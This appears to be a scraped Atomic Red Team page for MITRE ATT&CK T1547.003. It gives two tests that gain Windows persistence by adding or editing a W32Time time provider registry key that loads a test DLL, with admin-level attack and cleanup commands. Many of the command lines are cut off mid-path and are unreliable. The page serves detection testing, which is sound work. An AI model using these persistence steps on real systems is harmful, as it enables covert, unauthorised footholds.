



- >  T1037.001
- >  T1037.002
- >  T1037.004
- >  T1037.005
- >  T1039
- >  T1040

## Atomic Test #1 - Create a new time provider

Establishes persistence by creating a new time provider registry key under HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The new time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Payload source code:  
<https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** df1efab7-bc6d-4b88-8be9-91f55ae017aa

**Attack Commands:** Run with powershell! Elevation Required (e.g. root or admin)

```
net stop w32time
Copy-Item $PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll C:\Users\Public\Atomic1
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders
net start w32time
```

**Cleanup Commands:**

```
net stop w32time
reg delete "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvi
rm -force C:\Users\Public\AtomicTest.dll
net start w32time
```

## Atomic Test #2 - Edit an existing time provider

Establishes persistence by editing the NtpServer time provider registry key under HKEY\_LOCAL\_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider. The time provider will point to a DLL which will be loaded after the w32time service is started. The DLL will then create the file AtomicTest.txt in C:\Users\Public\ as validation that the test is successful.

Payload source code:  
<https://github.com/tr4cefl0w/payloads/tree/master/T1547.003/>

**Supported Platforms:** Windows

**auto\_generated\_guid:** 29e0afca-8d1d-471a-8d34-25512fc48315

Attack Commands: Run with powershell! Elevation Required (e.g. root or admin)

```
net stop w32time
Copy-Item $PathToAtomicsFolder\T1547.003\bin\AtomicTest.dll C:\Users\Public\AtomicT
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
net start w32time
```



Cleanup Commands:

```
net stop w32time
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProvider!
rm -force C:\Users\Public\AtomicTest.dll
net start w32time
```

